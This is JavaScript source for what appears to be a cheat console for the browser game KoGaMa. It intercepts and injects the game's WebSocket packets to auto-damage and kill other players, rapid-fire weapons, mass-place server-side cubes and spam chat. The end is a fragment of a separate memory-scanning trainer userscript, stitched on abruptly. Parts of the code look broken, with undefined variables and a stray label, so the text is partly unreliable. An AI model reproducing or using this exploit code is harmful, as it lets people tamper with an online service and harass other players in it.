		else kc.idshotgun=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.shotgun(kcc.names[n])),5e2);
	});// new
    gunCheat('INFgrowthgun',kc.purple,()=>{
		if(kc.idgrowthgun){clearInterval(kc.idgrowthgun);kc.idgrowthgun=0;}
		else kc.idgrowthgun=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.growthgun(kcc.names[n])),5e2);
	});// new
    gunCheat('INFmousegun',kc.purple,()=>{
		if(kc.idmousegun){clearInterval(kc.idmousegun);kc.idmousegun=0;}
		else kc.idmousegun=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.mousegun(kcc.names[n])),5e2);
	});// new
    gunCheat('INFcentralgun',kc.purple,()=>{
		if(kc.idcentralgun){clearInterval(kc.idcentralgun);kc.idcentralgun=0;}
		else kc.idcentralgun=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.centralgun(kcc.names[n])),5e2);
	});// new
    gunCheat('INFshuriken5x',kc.purple,()=>{
		if(kc.idshuriken5x){clearInterval(kc.idshuriken5x);kc.idshuriken5x=0;}
		else kc.idshuriken5x=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.shuriken5x(kcc.names[n])),5e2);
	});// new
    gunCate('Rapid Fire',kc.white);
    gunCheat('RAPIDbazooka',kc.darkred,()=>{
		if(kc.idHealy){clearInterval(kc.idHealy);kc.idHealy=0;}
		else kc.idHealy=setInterval(()=>Object.keys(kcc.names).map(n=>kc.centralgun(kcc.self[n])),2e2);
        if(kc.idHealh){clearInterval(kc.idHealh);kc.idHealh=0;}
		else kc.idHealh=setInterval(()=>Object.keys(kcc.names).map(n=>kc.bazooka(kcc.self[n])),2e2);
    });//new
    gunCheat('RAPIDshotgun',kc.darkred,()=>{
		if(kc.idHealy){clearInterval(kc.idHealy);kc.idHealy=0;}
		else kc.idHealy=setInterval(()=>Object.keys(kcc.names).map(n=>kc.centralgun(kcc.self[n])),0e0);
        if(kc.idHealh){clearInterval(kc.idHealh);kc.idHealh=0;}
		else kc.idHealh=setInterval(()=>Object.keys(kcc.names).map(n=>kc.shotgun(kcc.self[n])),0e0);
    });//new
    gunCheat('RAPIDmousegun',kc.darkred,()=>{
		if(kc.idHealy){clearInterval(kc.idHealy);kc.idHealy=0;}
		else kc.idHealy=setInterval(()=>Object.keys(kcc.names).map(n=>kc.centralgun(kcc.self[n])),2e2);
        if(kc.idHealh){clearInterval(kc.idHealh);kc.idHealh=0;}
		else kc.idHealh=setInterval(()=>Object.keys(kcc.names).map(n=>kc.mousegun(kcc.self[n])),2e2);
    });//new
    gunCheat('RAPIDgrowthgun',kc.darkred,()=>{
		if(kc.idHealy){clearInterval(kc.idHealy);kc.idHealy=0;}
		else kc.idHealy=setInterval(()=>Object.keys(kcc.names).map(n=>kc.centralgun(kcc.self[n])),2e2);
        if(kc.idHealh){clearInterval(kc.idHealh);kc.idHealh=0;}
		else kc.idHealh=setInterval(()=>Object.keys(kcc.names).map(n=>kc.growthgun(kcc.self[n])),2e2);
    });//new
    gunCheat('RAPIDshuriken5x',kc.darkred,()=>{
		if(kc.idHealy){clearInterval(kc.idHealy);kc.idHealy=0;}
		else kc.idHealy=setInterval(()=>Object.keys(kcc.names).map(n=>kc.centralgun(kcc.self[n])),2e2);
        if(kc.idHealh){clearInterval(kc.idHealh);kc.idHealh=0;}
		else kc.idHealh=setInterval(()=>Object.keys(kcc.names).map(n=>kc.shuriken5x(kcc.self[n])),2e2);
    });//new
gunCheat('AutoShot',kc.darkyellow,()=>{
		if(kc.idHealqa){clearInterval(kc.idHealqa);kc.idHealqa=0;}
		else kc.idHealqa=setInterval(()=>Object.keys(kcc.names).map(n=>kc.autofire(kcc.self[n])),1e1);
	});
    addBB('Deathgenerator','cheat_about','kill_box');
	html('kill_box').className='scroller';
    killCate('Activate autodamage!',kc.white);
    killCheat('autodamage',kc.turquoise,()=>{
		if(kc.idDamadge){clearInterval(kc.idDamadge);kc.idDamadge=0;}
        else kc.idDamadge=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.damadge(kcc.names[n])),5e2);
	});
    killCate('<- oculuskill - nonekill ->',kc.white);
    killCheat('oculuskill',kc.turquoise,()=>{//new
        if(kc.idoculus_kill){clearInterval(kc.idoculus_kill);kc.idoculus_kill=0;}
        else kc.idoculus_kill=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.oculus_kill(kcc.names[n])),5e2);
    });
    killCheat('nonekill',kc.turquoise,()=>{//new
        if(kc.idnone_kill){clearInterval(kc.idnone_kill);kc.idnone_kill=0;}
        else kc.idnone_kill=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.none_kill(kcc.names[n])),5e2);
    });
    warningCate('Doesn`t work for teams',kc.catecolor);
    //------------------------------------------------------cubes
    addBB('Cube Forms','list','cube_box');
	html('cube_box').className='scroller';
    cubeCheat(' i ',kc.black,()=>{
    window.alert('Some cubeforms can lead to a short game lag!')
    });
    cubeCate('Cubeforms',kc.white);
	cubeCheat('cubenormal',kc.darkblue,()=>kcc.cubeMode=0);
    cubeCheat('normal',kc.darkblue,()=>kcc.cubeId=0);
    cubeCheat('classicplane',kc.darkblue,()=>kcc.cubeMode=99);
	cubeCheat('bigarea',kc.darkblue,()=>kcc.cubeMode=1);//new
	cubeCheat('giant',kc.darkblue,()=>kcc.cubeMode=2);
	cubeCheat('XMcube',kc.darkblue,()=>kcc.cubeMode=4);//improved
	cubeCheat('XPcube',kc.darkblue,()=>kcc.cubeMode=5);//improved
	cubeCheat('ZMcube',kc.darkblue,()=>kcc.cubeMode=6);//improved
	cubeCheat('ZPcube',kc.darkblue,()=>kcc.cubeMode=7);//improved
    cubeCheat('cubeXhouse',kc.darkblue,()=>kcc.cubeMode=22)//new
    cubeCheat('cubeUfo',kc.purple,()=>kcc.cubeMode=14); // new
    cubeCheat('cubeArena',kc.purple,()=>kcc.cubeMode=13);// new
    cubeCheat('cubeTower',kc.darkblue,()=>kcc.cubeMode=3);//improved
    cubeCheat('cubeHall',kc.darkblue,()=>kcc.cubeMode=17);//new
    cubeCheat('cubeStick',kc.darkblue,()=>kcc.cubeMode=18);//new
    cubeCheat('deletecubes',kc.darkblue,()=>kcc.cubeId=kcc.deletecubes);
    cubeCheat('stripedcement',kc.darkred,()=>kcc.cubeId=kcc.stripedcement);//new
    cubeCheat('machinery',kc.darkred,()=>kcc.cubeId=kcc.machinery);//new
    cubeCheat('embossedmetal',kc.darkred,()=>kcc.cubeId=kcc.embossedmetal);//new
    cubeCheat('scrolling',kc.darkred,()=>kcc.cubeId=kcc.scrolling);//new
    cubeCheat('darkgreen',kc.orange,()=>kcc.cubeId=kcc.darkgreen);
    cubeCheat('ceramic',kc.orange,()=>kcc.cubeId=kcc.ceramic);//new
	cubeCheat('superbounce',kc.orange,()=>kcc.cubeId=kcc.superbounce);
	cubeCheat('ice',kc.orange,()=>kcc.cubeId=kcc.ice);
	cubeCheat('poison',kc.orange,()=>kcc.cubeId=kcc.poison);
    cubeCheat('magma',kc.orange,()=>kcc.cubeId=kcc.magma);
	cubeCheat('bounce',kc.orange,()=>kcc.cubeId=kcc.bounce);
	cubeCheat('blackice',kc.orange,()=>kcc.cubeId=kcc.blackice);
    cubeCheat('brightred',kc.orange,()=>kcc.cubeId=kcc.brightred);//new
    cubeCheat('red',kc.orange,()=>kcc.cubeId=kcc.red);//new
    cubeCheat('darkred',kc.orange,()=>kcc.cubeId=kcc.darkr);//new
    cubeCheat('sand',kc.orange,()=>kcc.cubeId=kcc.sand);//new
    cubeCheat('lightpurplefabric',kc.orange,()=>kcc.cubeId=kcc.lightpurplefabric);//new
    cubeCheat('brightblue',kc.orange,()=>kcc.cubeId=kcc.brightblue);//new
    cubeCheat('blue',kc.orange,()=>kcc.cubeId=kcc.blue);//new
    cubeCheat('darkblue',kc.orange,()=>kcc.cubeId=kcc.darkb);//new
    cubeCheat('caramel',kc.orange,()=>kcc.cubeId=kcc.caramel);//new
    cubeCheat('camouflage',kc.orange,()=>kcc.cubeId=kcc.camouflage);//new
    creatorCate('Form Creator [beta]',kc.white);
    creatorCheat('X - Way',kc.black,()=>kcc.cubeId=kcc.xway);
    creatorCheat('Y - Way',kc.black,()=>kcc.cubeId=kcc.yway);
    creatorCheat('Z - Way',kc.black,()=>kcc.cubeId=kcc.zway);
    creatorCheat('Radius',kc.black,()=>kcc.cubeId=kcc.radius);
    okCheat('OK',kc.black,()=>kcc.cubeId=kcc.okay);
    addBB('Cube Colors','list','color_box');//new list
	html('color_box').className='scroller';
    colorCheat('grey',kc.darkblue,()=>kc.blockgrey());
    colorCheat('blue',kc.darkblue,()=>kc.blockblue());
    colorCheat('red',kc.darkblue,()=>kc.blockred());
    colorCheat('green',kc.darkblue,()=>kc.blockgreen());
    colorCheat('yellow',kc.darkblue,()=>kc.blockyellow());
    colorCheat('metal',kc.darkblue,()=>kc.metal());
    colorCheat('cement',kc.darkblue,()=>kc.cement());
    colorCheat('pavment',kc.darkblue,()=>kc.pavment());
    colorCheat('oldboulder',kc.darkblue,()=>kc.oldboulder());
    colorCheat('wrappingpaper',kc.darkblue,()=>kc.wrappingpaper());
    colorCheat('stonebricks1',kc.darkblue,()=>kc.stonebricks());
    colorCheat('stonebricks2',kc.darkblue,()=>kc.stonebricks2());
    colorCheat('waste',kc.darkblue,()=>kc.waste());
    colorCheat('pink',kc.darkblue,()=>kc.pink());
    colorCheat('zigzag',kc.darkblue,()=>kc.zigzag());
    colorCheat('slime',kc.darkblue,()=>kc.slime());
    colorCheat('mushroom',kc.darkblue,()=>kc.mushroom());
    colorCheat('greenmushroom',kc.darkblue,()=>kc.greenmushroom());
    colorCheat('parkour',kc.darkblue,()=>kc.parkour());
    colorCheat('cloud',kc.darkblue,()=>kc.cloud());
    colorCheat('camouflage',kc.darkblue,()=>kc.camouflage());
    colorCheat('bounce',kc.darkblue,()=>kc.bounce());
    colorCheat('superbounce',kc.darkblue,()=>kc.superbounce());
    colorCheat('lava',kc.darkblue,()=>kc.lava());
    colorCheat('wood',kc.darkblue,()=>kc.wood());
    colorCheat('darkwood',kc.darkblue,()=>kc.darkwood());
    colorCheat('darkice',kc.darkblue,()=>kc.darkice());
    colorCheat('poison',kc.darkblue,()=>kc.poison());
    colorCheat('destroy1',kc.darkblue,()=>kc.destroy1());
    colorCheat('destroy2',kc.darkblue,()=>kc.destroy2());
    colorCheat('destroy3',kc.darkblue,()=>kc.destroy3());
    colorCheat('destroy4',kc.darkblue,()=>kc.destroy4());
    colorCheat('stripedcement',kc.darkred,()=>kc.stripedcement());
    colorCheat('machinery',kc.darkred,()=>kc.machinery());
    colorCheat('embossedmetal',kc.darkred,()=>kc.embossedmetal());
    colorCheat('scrolling',kc.darkred,()=>kc.scrolling());
    colorCheat('Rainbow',kc.darkgreen,()=>{
		if(kc.idblockyellow){clearInterval(kc.idblockyellow);kc.idblockyellow=0;}
		else kc.idblockyellow=setInterval(()=>Object.keys(kcc.names).map(n=>kc.blockyellow(kcc.names[n])),0e0);
        if(kc.idblockblue){clearInterval(kc.idblockblue);kc.idblockblue=0;}
		else kc.idblockblue=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.blockblue(kcc.names[n])),0e0);
        if(kc.idblockred){clearInterval(kc.idblockred);kc.idblockred=0;}
		else kc.idblockred=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.blockred(kcc.names[n])),0e0);
        if(kc.idblockgreen){clearInterval(kc.idblockgreen);kc.idblockgreen=0;}
		else kc.idblockgreen=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.blockgreen(kcc.names[n])),0e0);
        if(kc.idcamouflage){clearInterval(kc.idcamouflage);kc.idcamouflage=0;}
		else kc.idcamouflage=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.camouflage(kcc.names[n])),0e0);
        if(kc.idmachinery){clearInterval(kc.idmachinery);kc.idmachinery=0;}
		else kc.idmachinery=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.machinery(kcc.names[n])),0e0);
        if(kc.idembossedmetal){clearInterval(kc.idembossedmetal);kc.idembossedmetal=0;}
		else kc.idembossedmetal=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.embossedmetal(kcc.names[n])),0e0);
        if(kc.idstripedcement){clearInterval(kc.idstripedcement);kc.idstripedcement=0;}
		else kc.idstripedcement=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.stripedcement(kcc.names[n])),0e0);
});//new
    colorCheat('INFpoisongun',kc.purple,()=>{
		if(kc.idcubegun){clearInterval(kc.idcubegun);kc.idcubegun=0;}
		else kc.idcubegun=setInterval(()=>Object.keys(kcc.names).map(n=>kcc.self!=kcc.names[n]&&kc.cubegun(kcc.names[n])),5e2);
        if(kc.idHealh){clearInterval(kc.idHealh);kc.idHealh=0;}
		else kc.idHealh=setInterval(()=>Object.keys(kcc.names).map(n=>kc.poison(kcc.self[n])),2e2);
    });//new
addBB('Hotkeys','cheat_hotkeys','hotkeys_box');
	html('hotkeys_box').className='scroller';
	el=make('div');
	el.id='hotkeys_box_info';
	el.style.whiteSpace='pre';
	el.textContent=`Hotkeys for weapons and more.

* = big
/ = small
1 = heal
2 = freeze
5 = team blue
6 = team red
7 = team green
8 = team yellow
9 = team white
0 = cube gun
ß = shield
I = impulsegun
L = mousegun
B = bazooka
Insertkey = Chatspam
Deletekey = Clear Chat`;
	html('hotkeys_box').appendChild(el);
}
addBB('⠀','cheat_about','⠀_box');
	html('⠀_box').className='scroller';
addBB('⠀','cheat_about','⠀_box');
	html('⠀_box').className='scroller';
addBB('About','cheat_about','about_box');
	html('about_box').className='scroller';
	el=make('div');
	el.id='about_box_info';
	el.style.whiteSpace='pre';
	el.textContent=`
This cheat console was developed
by Masterix.
New weapons, cube colours and player cheats.
It doesn't get any better than this.

Enjoy it!

Special thanks to Devork and Lawlao
for your support and thanks to the others!


---------------------------Change Log---------------------------

- reworked design
- clearer presentation
- new weapons
- new hotkeys
- new kill options

and much more... [check the update list file for
                the whole list.]


[About Console]
Version: 1.7
Release date: 19th Juny 2021
Owner: Masterix
KoGaMa WWW name: .Masterix.
Console available on: WWW, Friends, BR
 ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀⠀⠀⠀⠀⠀⠀⠀⠀ `;
	html('about_box').appendChild(el);
aboutCheat('Profile',kc.black,()=>window.open("https://www.kogama.com/profile/666876227/")());//new
aboutCheat('Discord',kc.darkblue,()=>window.open("https://discord.gg/97K8pmePvB")());//new
aboutCheat('YouTube',kc.red,()=>window.open("https://www.youtube.com/channel/UCsgFtc1Z-rB5YiVktZzQ9Dg")());//new

kc.log('_________________________________________________')//new
kc.log('Thanks for using my Cheat Console!','#97FF00')//new
kc.log('Console developed by Masterix!')//new
/*Kogama Cheat Client*/
window.kcc=top.kcc={
	ws:{},
	self:0,
	pos:[0,0,0],
	names:{},
	parts:[],
	cubeSize:15,
	cubeD:1812,
//----------------------cubecolors
	superbounce:1846,
	poison:1820,
    machinery:1853,
    stripedcement:1852,
    embossedmetal:1854,
    scrolling:1855,
    mushroom:1834,// new
	blackice:1835,// new
    camouflage:1826,// new
	ice:1817,// new
    khaki:1816,// new
    blackconcrete:1815,// new
    darkconcrete:1814,// new
    concrete:1813,// new
    sandstone:1811,// new
    butter:1810,// new
    orange:1809,// new
    brightorange:1808,// new
    yellow:1807,// new
    darkpurplefabric:1806,// new
    ceramic:1805,// new
    darkgreen:1804,// new
    green:1803,// new
    brightgreen:1802,// new
    purplefabric:1801,// new
    caramel:1800,// new
    darkb:1799,// new
    blue:1798,// new
    brightblue:1797,// new
    lightpurplefabric:1796,// new
    sand:1795,// new
    darkr:1794,// new
    red:1793,// new
    brightred:1792,// new
    deletecubes:1700,
	blackice:1835,
	ice:1817,
	magma:1818,
	bounce:1819,
//----------------------cubesize
	cubeId:0,
    none:0,
    cubeXX:13,
	cubeXZ:100,
    yup4x:120,
	towerSize:8,
	cubeMode:0,
    cubeWay:100,
    house:18,
    cubesphere:5,//For cubeArena and cubeUfo's Height
    cuberay:60,//For cubeArena and cubeUfos's Radius
    cubePlane:20,
    hallSize:40,
    cubeRaio:44,
	cubeServer:(randomId=kcc.self,x=0,y=0,z=0,material)=>new Uint8Array([243,4,10,0,3,47,105,...toByte32(randomId),49,120,0,0,0,...(material?[9,2]:[7,0]),...toByte16(x),...toByte16(y),...toByte16(z),...(material?toByte16(material):[]),254,105,0,0,0,material?3:1]),
	cube:(randomId=kcc.self,x=0,y=0,z=0,material)=>new Uint8Array([243,2,7,0,2,47,105,...toByte32(randomId),49,120,0,0,0,...(material?[9,2]:[7,0]),...toByte16(x),...toByte16(y),...toByte16(z),...(material?toByte16(material):[])]),
	logClient:(msg,...items)=>{
		console.log.apply(console,['%c'+msg,"background-color:#FF0000;",...items]);
	},
	logServer:(msg,...items)=>{
		console.log.apply(console,['%c'+msg,"background-color:#BE81F7;",...items]);
	},
    consoleServer:(msg,...items)=>{
		console.log.apply(console,['%c'+msg,"background-color:#58FA58;",...items]);
	},
	injectClient:function(data){
		data = new Uint8Array(data);
		data = kcc.separator(data);
		if(data)this._send(data);
	},
	injectServer:function(e){
		let data = new Uint8Array(e.data);
		if(this != kcc.ws){
			kcc.logServer(`Have fun with my Console! #MCC`);
			return;
		}
		data = kcc.separator(data);
		if(data)this._msg({data:data.buffer});
	}
};

/*requests separating*/
kcc.no_sense=data=>{
	if(data.length<7)return true;//not action
	return false;
	/*
	if(data.equals([243,4,81,0,0])){//each tick
		//kcc.logServer('short_ping');
		return true;
	}else if(data.equals([243,2,58,0,0])){//1 time
		//kcc.logClient('short_ping(1)');
		return true;
	}else if(data.equals([243,2,102,0,0])){//1 time
		//kcc.logClient('short_ping(2)');
		return true;
	}else if(data.equals([243,2,95,0,0])){//1 time
		//kcc.logClient('short_ping(3)');//build->game, once
		return true;
	}else if(data.equals([243,1,0])){//1 time
		kcc.logServer('open connection');
		return true;
	}
	*/
}

kcc.separator=data=>{
	if(kcc.no_sense(data))return data;
     let actorNr = Data.slice(10, 13+1)
            actorNr = ((actorNr[0] << 8 | actorNr[1]) << 8 | actorNr[2]) << 8 | actorNr[3]
            if(firstJoinData){
                firstJoinData = false
                actornr = actorNr
            }

	head = data.slice(0,7);//[243, (client:2|6, server:4|7), actionId(u32), 105]
	reqId = head.slice(2,6);
	/*
	2,6 - client
	4,7 - server
	*/
	source = (head[1]==2||head[1]==6)?"client":"server";

	return new Uint8Array([...head, ...kcc[source+"Separator"](toNum32(reqId), data.slice(7))]);
}

none:kcc.separator=data=>{if(kcc.no_sense(data))return data;if(data[2] == 99)return;

	head = data.slice(0,7);//[243, (client:2|6, server:4|7), actionId(u32), 105]
	reqId = head.slice(2,6);
	/*
	2,6 - client
	4,7 - server
	*/
	source = (head[1]==2||head[1]==6)?"client":"server";

	return new Uint8Array([...head, ...kcc[source+"Separator"](toNum32(reqId), data.slice(7))]);
}


kcc.clientSeparator=(reqId,data)=>{
	switch(reqId){
		case 117441071://[7,0,2,47] 26->19 bytes
			let id=toNum32(data.slice(0,4));
			let material=toNum16(data.slice(17,19));
			let x=toNum16Sign(data.slice(11,13));
			let y=toNum16Sign(data.slice(13,15));
			let z=toNum16Sign(data.slice(15,17));
			//kc.log(`cube:{id:${id},x:${x},y:${y},z:${z}`,'#080'); --- Cube ID display
			if(kcc.cubeMode){
				let arr=[];
				if(kcc.cubeMode==1){//bigarea
					for(let i=x-kcc.cubeXZ;i<=x+kcc.cubeXZ;i++)
						for(let i2=y+30;i2<=y+30;i2++)
							for(let i3=z-kcc.cubeXZ;i3<=z+kcc.cubeXZ;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
							}
                if(kcc.cubeMode==29){//nothing
					for(let i=x-kcc.none;i<=x+kcc.none;i++)
						for(let i2=y-1;i2<=y-1;i2++)
							for(let i3=z-kcc.none;i3<=z+kcc.none;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
							}
                    }
                }else if(kcc.cubeMode==99){//classicplane
					for(let i=x-kcc.cubeXX;i<=x+kcc.cubeXX;i++)
						for(let i2=y-1;i2<=y-1;i2++)
							for(let i3=z-kcc.cubeXX;i3<=z+kcc.cubeXX;i3++){
                            arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
                            }
				}else if(kcc.cubeMode==2){//giant
					for(let i=x-kcc.cubeSize;i<=x+kcc.cubeSize;i++)
						for(let i2=y-kcc.cubeSize;i2<=y+kcc.cubeSize;i2++)
							for(let i3=z-kcc.cubeSize;i3<=z+kcc.cubeSize;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
							}
                }else if(kcc.cubeMode==3){//cubeTower
					for(let i=x-kcc.towerSize;i<=x+kcc.towerSize;i++)
						for(let i2=y-230;i2<=y+kcc.towerSize*82-122;i2++)
							for(let i3=z-kcc.towerSize;i3<=z+kcc.towerSize;i3++){
								if(i==x-kcc.towerSize||i==x+kcc.towerSize||
									i2==y+kcc.towerSize*78-100||i2==y-74||
									i3==z-kcc.towerSize||i3==z+kcc.towerSize){
										arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
                                }
                           }
                    }else if(kcc.cubeMode==17){//cubeHall
					for(let i=x-kcc.hallSize;i<=x+kcc.hallSize;i++)
						for(let i2=y-1;i2<=y+kcc.hallSize*1-1;i2++)
							for(let i3=z-kcc.hallSize;i3<=z+kcc.hallSize;i3++){
								if(i==x-kcc.hallSize||i==x+kcc.hallSize||
									i2==y+kcc.hallSize*1-1||i2==y-1||
									i3==z-kcc.hallSize||i3==z+kcc.hallSize){
										arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
                                }
                           }
                    }else if(kcc.cubeMode==13){//cubeArena
                    for(let grad2=0;grad2<=180;grad2++){
                        let dy=Math.floor(kcc.cubesphere*Math.sin(grad2*Math.PI/180));
                        let dy1=Math.floor(kcc.cuberay*Math.sin(grad2*Math.PI/180));
                        let r=Math.abs(dy1);
                            for(let grad=0;grad<360;grad++){
                                let x2=unsign16(x+Math.floor(r*Math.cos(grad*Math.PI/180)));
                                let y2=unsign16(y+dy*3-1);
                                let z2=unsign16(z+Math.floor(r*Math.sin(grad*Math.PI/180)));
                                    if(!arr.find(v=>v.x==x2&&v.y==y2&&v.z==z2))
                                        arr.push({x:x2,y:y2,z:z2});
                                        }
                            }
                }else if(kcc.cubeMode==14){//cubeUfo
                    for(let grad2=-180;grad2<=0;grad2++){
                        let dy=Math.floor(kcc.cubesphere*Math.sin(grad2*Math.PI/180));
                        let dy1=Math.floor(kcc.cuberay*Math.sin(grad2*Math.PI/180));
                        let r=Math.abs(dy1);
                            for(let grad=0;grad<360;grad++){
                                let x2=unsign16(x+Math.floor(r*Math.cos(grad*Math.PI/180)));
                                let y2=unsign16(y+kcc.cubesphere*3+dy*3-1);
                                let z2=unsign16(z+Math.floor(r*Math.sin(grad*Math.PI/180)));
                                    if(!arr.find(v=>v.x==x2&&v.y==y2&&v.z==z2))
                                        arr.push({x:x2,y:y2,z:z2});
                                        }
                            }
                 }else if(kcc.cubeMode==22){//cubeXhouse
                    for(let i=x-kcc.house;i<=x+kcc.house;i++)
                        for(let i2=y+7;i2<=y+kcc.house*5-1;i2++)
                            for(let i3=z-kcc.house;i3<=z+kcc.house;i3++){
                                if(i==x+3||i==x+3||
                                    i2==y+34-4||i2==y-45||
                                    i3==z-8||i3==z+19){
                                        arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
                                }
                            }
                }else if(kcc.cubeMode==18){//cubeStick
					for(let i=x-0;i<=x+0;i++)
						for(let i2=y-1;i2<=y+kcc.yup4x;i2++)
							for(let i3=z-0;i3<=z+0;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
                            }
                }else if(kcc.cubeMode==4){//xm
					for(let i=x-kcc.cubeWay;i<=x;i++)
						for(let i2=y-1;i2<=y-1;i2++)
							for(let i3=z-5;i3<=z+5;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
							}
				}else if(kcc.cubeMode==5){//xp
					for(let i=x;i<=x+kcc.cubeWay;i++)
						for(let i2=y-1;i2<=y-1;i2++)
							for(let i3=z-5;i3<=z+5;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
							}
				}else if(kcc.cubeMode==6){//zm
					for(let i=x-5;i<=x+5;i++)
						for(let i2=y-1;i2<=y-1;i2++)
							for(let i3=z-kcc.cubeWay;i3<=z;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
							}
				}else if(kcc.cubeMode==7){//zp
					for(let i=x-5;i<=x+5;i++)
						for(let i2=y-1;i2<=y-1;i2++)
							for(let i3=z;i3<=z+kcc.cubeWay;i3++){
								arr.push({x:unsign16(i),y:unsign16(i2),z:unsign16(i3)});
                            }
                }
				arr.map((pos,i)=>{
					kcc.ws._msg({data:kcc.cubeServer(id,pos.x,pos.y,pos.z,kcc.cubeId?kcc.cubeId:material).buffer});
					kcc.ws._send(kcc.cube(id,pos.x,pos.y,pos.z,kcc.cubeId?kcc.cubeId:material));
				});
			}
		break;
		case 33556246://[2,0,7,22], 47->40 bytes
			//kc.log('moving','#080');
			//let PID=data.slice(0,4);//36 bytes
			kcc.pos=data.slice(4);

		break;
		case 16777473://[1,0,1,1]
			//kcc.logClient('ping time');//(11)
		break;
		case 4278192982://toNum32([255,0,11,86]):
			kc.log('inject console with game...','#0431B4');
		break;
		case 1040188095://toNum32([62,0,2,191]):
			kc.log('[image part]','#080');
		break;
		case 385876415://toNum32([23,0,1,191]):
			kc.log('finish','#080');
		break;
		case 419430934://toNum32([25,0,2,22]):
			//kcc.self=toNum32(data.slice(0,4));
		break;
		case 654311702://toNum32([39,0,1,22]):
			//kcc.logClient('add model to inventory');
		break;
		case 738198312://toNum32([44,0,3,40]):
			//kcc.logClient('push model to the marketplace');
		break;
		case 218104104://toNum32([13,0,1,40]):
			//kcc.logClient('delete model from inventory');
		break;
		case 452985366://toNum32([27,0,2,22]):
			//kcc.logClient('use effect on player');
		break;
	}
	return data;
}

kcc.serverSeparator=(reqId,data)=>{
	//server:243,4,10,0,3,47,105,...toByte32(randomId),49,120,0,0,0,9,2,...toNum16(x),...toNum16(y),...toNum16(z),7,material,254,105,0,0,0,3

	//client:243,2,7,0,2,47,105, 0,0,5,196,49,120,0,0,0,9,2,255,211,0,4,255,225
	//       243,4,10,0,3,47,105,0,0,5,207,49,120,0,0,0,7,0,255,229,0,4,255,213,254,105,0,0,0,1

	//243,4,86,0,5,220,105,0,0,41,254,219,98,2,209,105,0,0,0,0,85,105,0,0,0,10,254,105,0,0,0,1
	switch(reqId){
		case toNum32([10,0,3,47])://case toNum32([86,0,5,220]):
			//kc.log('cubegun another');
		break;
		case toNum32([1,0,0,42]):
			//kcc.logServer('ping time');//(20)
		break;
		case toNum32([255,0,6,89]):
			{
				top.keks=top.keks?top.keks:[];
				let info=getJSON(decode(data))[0];
				top.keks.push(info);
				//kc.log(`[${info.UserName}]->joining`,'#F80');
				kcc.parts.push(info.UserName);
			}
		break;
		case toNum32([104,0,2,245]):
			{
				top.keks=top.keks?top.keks:[];
				let info=getJSON(decode(data))[0];
				top.keks.push(info);
				let actorNr=info.SpawnRolesRuntimeData.activeSpawnRole;//.spawnRoleAvatarIds[0];
				let name=kcc.parts.pop();
				kc.log(`[${name},${actorNr}]->joined`,'#F80');
				kcc.names[name]=actorNr;
			}
		break;
		case toNum32([102,0,10,245]):case toNum32([61,0,10,245]):
			{
				kc.log('⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀    ⠀ successful injected','#04B404');
				let info=getJSON(decode(data));
				top.kek=info;
				kcc.self=info[info.length-1].spawnRolesDefaultTypeWoIDMap;
				kcc.self=kcc.self?kcc.self.DefaultPlayModeSpawnRole:info[info.length-1].DefaultPlayModeSpawnRole;
				info=info.slice(1,info.length-1);
				for(let k=0;k<info.length;k+=3){
					kcc.names[info[k].UserName]=info[k+2].activeSpawnRole;
				}
                kc.log(` ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀  ⠀ Your ID:
                ${JSON.stringify(kcc.self)}`,'#FF8000');
                kc.log('Console version: 1.7','#DF0101');
			}
		break;
		case toNum32([6,0,11,22]):
			{
				let id=toNum32(data.slice(0,4))-1;
				for(let k in kcc.names)if(kcc.names[k]==id){
					kc.log(`[${k}]->left`,'#D8D8D8');
					delete kcc.names[k];break;
				}
			}
		break;
	}
	return data;
}

// ==UserScript==
// @name         Storm Trainer
// @version V1.1
// @description  new cheat by storm
// @author       StormPVP
// @match        https://kogama.com.br/page/webgl-frame/
// @match        https://www.kogama.com/page/webgl-frame/
// @match        https://friends.kogama.com/page/webgl-frame/
// @namespace https://greasyfork.org/users/982540
// ==/UserScript==

WebAssembly.Memory.prototype.scan = function(AOB){
    let result = []
    let bytes = AOB.split(" ")
